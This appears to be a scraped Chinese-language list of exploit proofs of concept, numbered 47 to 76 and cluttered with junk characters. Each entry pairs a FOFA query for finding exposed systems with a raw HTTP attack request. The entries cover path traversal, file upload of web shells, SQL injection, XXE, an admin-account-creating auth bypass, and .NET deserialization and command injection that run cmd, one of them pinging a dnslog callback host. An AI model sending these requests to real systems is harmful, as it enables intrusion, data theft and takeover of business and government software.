9 z/ u* u' p+ e' h" ^$ XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ S0 a1 ?7 j: A% @/ n; ZAccept-Language: zh-CN,zh;q=0.9
& U8 C/ O+ S  N% cConnection: close
0 y2 K8 h/ R# S6 W8 }) g% @
/ T6 F! V4 f0 S# ^+ K: U
47. 用友GRP A++Cloud 政府财务云 任意文件读取
( S/ W! B/ ~! r2 @FOFA：body="/pf/portal/login/css/fonts/style.css"
3 K% ~6 o2 N5 K% M9 P% [GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
8 @0 T8 M- K0 `; j3 x" X( V. r$ b9 pUpgrade-Insecure-Requests: 1
# U- p* b5 l/ s- R: g+ p4 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' `0 T9 m; Q* NAccept-Language: zh-CN,zh;q=0.9
% f- j3 x3 n" n# n; YIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
, q. I4 [3 }, E3 |  P. @

# {& M4 `" i) W( l9 @
" L- S2 U/ a) P" H5 i# a48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
1 Y0 X9 f$ O9 FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
0 r/ M; V% {1 A/ Z* QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 `5 o5 K' x4 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. Q; u% Y8 L9 o' }0 @) ^Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
# f( n/ r/ k9 hContent-Disposition: form-data; name="file"; filename="s.php"
* P' m/ h/ u1 d+ N+ w1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
8 _2 q3 n2 @: n; L( x9 b4 Zupload
------269520967239406871642430066855--

( R# Z/ H. y0 r/ T% r
$ s: N/ \% b+ K49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
6 h, `9 j. W7 H/ J1 |
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
4 F! e$ @9 }1 s% v& i) X3 tHost: x.x.x.x
2 t# r8 |! k5 W7 J; {; YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
# ^& ^3 X3 @: ~1 J$ E! y4 F4 C4 E* GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: e& J! [; f( z5 }; XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
& J8 Q! X4 {& ^/ _& XContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
  }% \4 l3 e- P0 bContent-Type: application/octet-stream
( z6 W5 V9 S9 D6 Q( ^
8 |# _5 b( F* l# Awersqqmlumloqa
8 D( a8 z( v( [( s; T3 T$ l( ~& E-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
$ R( H* t3 A; p  p# n
upload
4 W6 [  m( S8 {$ s$ ~/ _9 ^-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
7 _/ I( m; R5 Y! W! @FOFA：body="close closebtnmodal"
$ g( `& a6 {# x, ^" }: ePOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
: w( E# p  Z- p) ^) w" V8 OContent-Length: 224
Accept: */*
+ `6 M& b8 W7 _' I- L; `- NAccept-Language: en
6 B. v- w3 ?- P7 g/ y0 ]Content-Type: application/x-www-form-urlencoded
- [$ {& K: p. f" q/ A$ wAccept-Encoding: gzip
% o) b( y/ t- R+ R( o& b* j
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
# D$ {  ?/ ?, l/ b' X
( h; ^7 a" |! S, _' K4 g
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
; n, O/ w' o7 w( [# \& rGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! }4 H, _" e- T/ U3 o, U" kHost: your-ip
# K& k: Y2 R+ V" t2 m9 ?' s: S9 n$ AUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, b0 M7 B  j( k5 YConnection: close


" k7 x" B+ a# y+ E- E52. 泛微E-Office json_common.php sql注入
1 l: g) }. _7 H) i+ v4 I8 M* q5 }FOFA：app="泛微-EOffice"
4 q$ h: t2 C% f6 _8 a4 Q  u- J8 xPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
" ?$ D+ `. B7 l, `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 K6 V/ p0 i3 J# tContent-Length: 87
Accept: */*
Accept-Language: en
& g. S# s) M% c/ F- N( xContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* q/ ^* Y  T: l. o
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

! ~- A2 ^: R9 J2 n1 p
53. 迪普 DPTech VPN Service 任意文件上传
8 y% @6 z6 t+ g4 L+ ?1 t# c* {  yFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

& ~) L' y$ ?+ u' j
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
! M* Z; i) K5 c; ^) S  ~3 r
, L& a, e& u- i' j' ^+ d
完整数据包
1 Z5 p2 U* r" [- g" J/ `5 LPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
( z4 [( Y% ]0 x2 W9 WHost: x.x.x.x
1 d# z# K6 n% `7 J) QUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
/ j0 j* N# w1 t1 nContent-Length: 593

{
1 c3 f7 J2 M6 ~"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 {: T( \( J" {    "StartInfo":{
6 u6 g) Q* Z& f" Y. j% d   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
$ b" X% I6 {' s' s$ U3 o/ P    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
8 ?3 f1 y1 h8 z. |7 f    }
  }
  }
}

. r/ p# u6 U# g/ J" b$ ^4 y  ]) w
第二步，访问如下url
+ h8 X1 K% r' i' h3 M3 A$ L' y/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

) v, e" V8 p+ ]
55. 畅捷通T+ getdecallusers信息泄露
0 x# M8 v; Q" [2 |6 KFOFA：app="畅捷通-TPlus"
+ ?  x- \' V; Q, s- h- I第一步，通过
4 L& a* ~* t9 c/ j2 t/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
4 U, }# K2 n4 x8 m& u! K# o第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

( ]; O* c, v. a56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
+ _! C5 y- y1 w1 F- {, n3 m4 s1 tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
/ _8 F5 s; ^5 V- fContent-Type: application/json

{
  "storeID":{
) F* u5 F& }; O. W4 M7 W    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
3 A6 s: i- J" {. f# M       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
7 E' o7 g+ [, q" F8 v+ A           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
/ v% @. M$ e; z6 K4 a, Z  d  c. M; o       }
    }
  }
$ P/ j) a7 p4 D# r- l}


: u3 T8 ^' J2 ?; o- C% k4 B57. 畅捷通T+ keyEdit.aspx SQL注入
$ C4 N5 x5 N+ f% U) I$ KFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
$ s! ]4 N1 X$ Y  C0 pHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
5 x8 i  l" e5 Y1 lAccept-Encoding: gzip, deflate
Connection: close
, I2 ?  S* ~) S- O/ D0 O
5 a1 v8 Y6 Y; [+ U7 P+ `+ ?- a) W
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
9 t! h- Z; N) B8 \2 w, _GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
; Q" U3 {( _5 M4 K  t, N# Y: P4 LUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
$ D* u$ P) |+ V7 `/ i% EAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
; ?1 F- K/ k, ?( x9 p% z/ y+ rConnection: close

; i8 |8 r% G  Q2 j
, L8 H! G' c: p0 h: C59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
5 R3 _# y; q: h' T: m2 N' i& [FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
! ^7 Y! L8 V5 fHost: 192.168.86.128:9090
( a) `! G) Q# \/ JUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
5 @% {5 |: y& @% i$ ?( jAccept-Language: en
Content-Type: application/x-www-form-urlencoded
" m" \& H4 g% O3 f/ uAccept-Encoding: gzip

0 d5 y$ b8 ~* ]) Z/ L5 ]6 L% yPAYLOAD


' G8 ?4 V5 p8 ^6 Z" l60. 百卓Smart管理平台 importexport.php SQL注入
, j8 O$ ^  ~: `; o( p7 LFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
: l3 P. R5 w' J* w+ t& @* WHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 T6 ]! h" ?3 h! ^! z* mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% N) f3 I1 D+ h% E1 A7 ^* {8 TConnection: close


; W/ \1 t9 Z) A0 f. F61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
" W$ G1 U( i2 `FOFA: title="欢迎使用浙大恩特客户资源管理系统"
( I, F" B% j# VPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
5 G( \, t( N3 w. O. sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" P. }/ X3 v! U! U5 t) oConnection: close
Content-Length: 27
0 _5 g3 f( F6 O+ }Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
# ~8 k) f1 c" s5 k6 [7 KContent-Type: application/x-www-form-urlencoded
# I0 ^% O! K: Q* X+ |( J+ H
2 X4 }9 x0 t5 R# l+ S7 K0 G8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
" G3 N6 B' y( ~* F+ O6 B# oFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
8 c7 i$ O) o8 C- vUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
2 z3 x* h8 k! W4 s' wConnection: close
Accept: */*
Accept-Language: en
. n2 M; C: x9 p. t# ]" B- e& D, GAccept-Encoding: gzip

- {5 I# z' Q! c9 E. Z6 e& i
访问
7 R$ J: S) \4 N: \6 ~  ?/ ~1 y5 C
) H# M  W$ K+ j7 I* }5 pGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
) {* c) X* _# iHost: x.x.x.x
$ f2 S' f6 n5 |6 \/ p
( O9 E( \1 G$ A+ Z
63. IP-guard WebServer任意文件读取
/ M) C5 e) G, x2 W- {IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
/ e) b) h4 Z1 v1 ?1 N; VPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Y6 i. {9 B# q: AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ u& k/ U- @. P+ t- f% }# v2 HConnection: close
" a2 }% q; @  Y2 I. @+ J8 FContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
, e9 G8 E4 w" P& m6 q
% W1 E/ `" B, i, T% m# X64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! X, Z* ?# C& H7 |$ ^FOFA：body="/Scripts/EnjoyMsg.js"
1 C# y2 m# I6 Y! h4 u* oPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
4 T( M" l( k6 Q1 fUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
' w4 T5 q4 J* K2 A8 B  GAccept-Language: en
+ J6 ?, I5 {7 NContent-Type: text/xml; charset=utf-8
3 I! h; L3 Q  j$ eAccept-Encoding: gzip

- Y9 _% Y/ o7 s7 k- W% n+ O" i- q<?xml version="1.0" encoding="utf-8"?>
& d7 `; f" m/ L" z<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
) D. o" h# Q; ^- u) R* B. R0 T      <sId>1';waitfor delay '0:0:5'--+</sId>
  y4 Z7 A1 Z  G/ \    </GetOSpById>
; E8 U5 h4 ~' O- l2 v, g  </soap:Body>
</soap:Envelope>
$ X8 E+ s% E0 P: s9 Z
. z8 Q/ A! j9 e& T6 x3 L
( @1 D9 J, i+ L5 Q8 X65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
( U0 R2 C. u4 NUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
2 ^( q* D) r+ A" }  ?* A; BAccept: */*
Connection: close
Accept-Language: en
+ A7 U% L# E% Q& iContent-Length: 174
, d( O3 x& x4 O: f
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
/ b0 m6 P& T, [' P
- Q3 i4 v. o+ L: W! A; K( ]9 @: O
$ P+ T+ U) [$ w5 e66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
- ]2 u) m- l. _; v( WFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
$ L% d! N0 F/ |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
- @9 N: D( T6 V9 CAccept-Language: en
Accept-Encoding: gzip
( V" ?5 H/ t& o; D
7 v# U: W1 L  R. F) d1 X+ ^
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

& ]+ P+ d6 Q1 U* x, W) X67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
# L$ Y7 @! _3 r* q3 IPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
1 d* y* L" L! y) `% R0 U0 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
, [  Z5 ^& Y7 a9 O# z" J# v& MContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 P/ S/ ?$ s' a$ |9 G2 OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
$ c) Y' q9 j& M' R0 m0 r- Q" u& pConnection: close
+ b- q" u, S$ ]Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

' p+ D' I( ]8 ~3 [2 @' k- @# J- P3 m--ufuadpxathqvxfqnuyuqaozvseiueerp
2 f7 H5 z" a! y. h# |Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
5 Z: R4 W4 f- e
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

& Z, w' n, I' O! R& t* f
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
/ v: i0 b6 }$ ]: e! u
68. 万户ezOFFICE wf_printnum.jsp SQL注入
: y6 p5 l' r. `9 I) oFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
! T" ?: R* H# q  S1 H6 @) _Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
$ G: V4 k  g& }4 _7 b) aAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

$ B$ H) G" X3 u7 p) u
69. 万户 ezOFFICE contract_gd.jsp SQL注入
  Y$ J; i& T' |) }- LFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
; o, ^) w: r6 ]7 {- _  P$ }+ UHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
& j9 A& I& K1 f* WAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
, H3 G2 u5 H# T, n+ v

70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
1 w% b3 @3 X/ o/ _2 T6 lPOST /member/success.aspx HTTP/1.1
9 ^, |% I& t6 e* k' K0 S% HHost: {{Hostname}}
) G8 a, v& y2 C. \1 k- `4 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
0 d2 L7 |4 l9 W$ C& j$ ESID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
2 J: r0 \, W; @0 U; z/ O+ nContent-Length: 16702
7 m& R- r) N6 P( y9 p" J2 T! X
__VIEWSTATE=PAYLOAD


+ k1 H; V- Y# V4 M, K$ U( v( h71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
3 q! |, o* e: O% nHost: x.x.x.xx.x.x.x
2 J' n7 _* _; g% @0 E* zUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 Z$ U+ j5 d  ?Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
% c9 U' a5 n3 c2 ?8 M' k- I/ G; W% dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
) w; W$ i; T- v- k& R. X5 E- N

5 n  `% D. g! X7 d) ]72. 致远OA getAjaxDataServlet XXE
4 ?8 n* ]! Z' {/ L4 sFOFA：app="致远互联-OA"
4 _# y. \5 z4 R4 A0 H( RPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
/ v6 ~- y5 w3 g! oHost: 192.168.40.131:8099
0 ?% P5 {( X- K% nUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
' `6 F+ @: v1 O! ]9 C# r- aContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

! [5 v; X% m, i+ h) a$ @S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


, r3 n1 m! g$ S1 ]73. GeoServer wms远程代码执行
( L- B0 y8 z, aFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
: j: k$ D1 V+ vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 T8 Z3 s" B+ V. E5 ~Content-Length: 1981
Accept-Encoding: gzip, deflate
2 C- ]2 d3 d$ P( fConnection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
# A3 ~( n3 i8 v6 ]

74. 致远M3-server 6_1sp1 反序列化RCE
( U, v; s& W: U+ J6 h# HFOFA：title="M3-Server"
PAYLOAD
* F) T* Y5 a3 u0 @9 R: H, V3 p
( e- _( L: b% X" \3 Y! w% G75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
: H7 Z. D& C0 X* Y0 z/ r  }FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
  g! |% \1 ~1 ]# D3 D9 b* zHost: x.x.x.x
4 Y( d6 {) U# b" m, qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% N: r) @4 W1 B. O3 _- A# [6 qConnection: close
- k4 m. g( T+ m8 G" @Accept: */*
Accept-Language: en
/ ?; G! K6 ?$ G2 C: Y; {Accept-Encoding: gzip

& ?3 _0 C; a. D% s, n2 P- R! I1 ~
GET /cgi-bin/test28256.txt HTTP/1.1
6 e( o% x0 s, M6 QHost: x.x.x.x
# m+ y; L& t* d2 _

76. 新开普掌上校园服务管理平台service.action远程命令执行
* l: c/ u( Q0 J7 nFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
5 }+ G# g  B$ R6 V% `) K. sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
% Z% s2 h/ K# ~* ^( @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 u2 ?  \! A  ]) B" Z+ YCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
  x/ G5 x  o; {. J9 o# o4 j3 TUpgrade-Insecure-Requests: 1

3 `+ O  _2 f: @& H+ W: f! G5 l{
"command": "GetFZinfo",
